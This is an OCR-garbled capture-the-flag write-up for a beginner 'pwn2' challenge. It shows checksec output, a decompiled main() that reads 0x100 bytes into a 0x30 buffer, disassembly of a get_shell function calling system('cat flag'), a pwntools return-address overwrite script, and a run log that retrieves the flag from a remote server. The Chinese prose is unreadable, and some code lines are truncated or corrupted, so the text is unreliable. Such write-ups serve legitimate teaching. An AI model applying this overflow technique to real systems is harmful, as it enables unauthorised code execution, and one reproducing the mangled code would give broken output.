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ERN—MIEFERRY, A EARpwnBiZ4—T, EF¥E—TFEMAR.
B REIXEM, checksec—F, BATKRIM, &AEITHALAHET.

exi@ubuntu:~/pwn_ y$ checksec pwn2
[*] '/[fhome/lexifpwn_easy/pwn2'

Arch: amde4-64-1ittle

RELRO: Partial

Stack:

NX:

PIE:

RWX:

say something?
1
oh,that's so boring!

EERRXEREER TR, BHEEAFFRTILREIR.

chmod 777 pwn2

EEFBHIDATE — T ERTE.

int _ cdecl main(int argc, const char **argv, const char **envp)

{

char s; f/ [rsp+8h] [rbp-30h]

memset(&s, @, Ox30ull);
setvbuf(stdout, @LL, 2, 6LL);
setvbuf(stdin, OLL, 1, OLL);
puts(“say something?");
read(@, &s, @x100uLL);
puts(“oh,that's so boring!");
return @;
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Fi L1 AameE_ ey - LA
F|main .tex
| zet_shell . tex
' Tikhe ran Arndt tav
.text:0000000000400751 get shell proc near
.text:0000000000400751 ; _ unwind {
.text:0000000000400751 push rbp |
.text:0000000000400752 mov rbp, rsp
.text:0000000000400755 mov edi, offset aTqlTqlTqlTqlTq ; "tgl~tgl~tgql~tgl~tgl~tgl~tgl"
.text:000000000040075A call _puts
.text:000000000040075F mov edi, offset aThisIsYourFlag ; "this is your flag!”
.text:0000000000400764 call _puts
.text:0000000000400769 mov edi, offset command ; "cat flag”
.text:000000000040076E call _system
.text:0000000000400773 nop
.text:0000000000400774 pop rbp
.text:0000000000400775 retn
.text:0000000000400775 ; } // starts at 400751

32 #11:0x0000000000400751 .
TR Eexp.

from pwn import

p = remote(

p.recvuntil(
payload=0x30 8 p64 (0X0000000000400751)
p.sendline(payload)

p.interactive()

H: XER8™ A R HRE Hebp.
BESRNT:

lexiéubuntu:—"x1_ \ python pwn2.py
[+] Opening connection to 114.116.54.89 on port 10083: Done
[*] Switching to interactive mode

oh,that's so boring!

tgl~tql~-tql-tql~tgl~tgl~tqgl

this is your flag!

flag{n@w_you knew the Stackeverflew}[*] Got EOF while reading in interactive

[*] Interrupted
*#*] Closed connection to 114.116.54.89 port 10803
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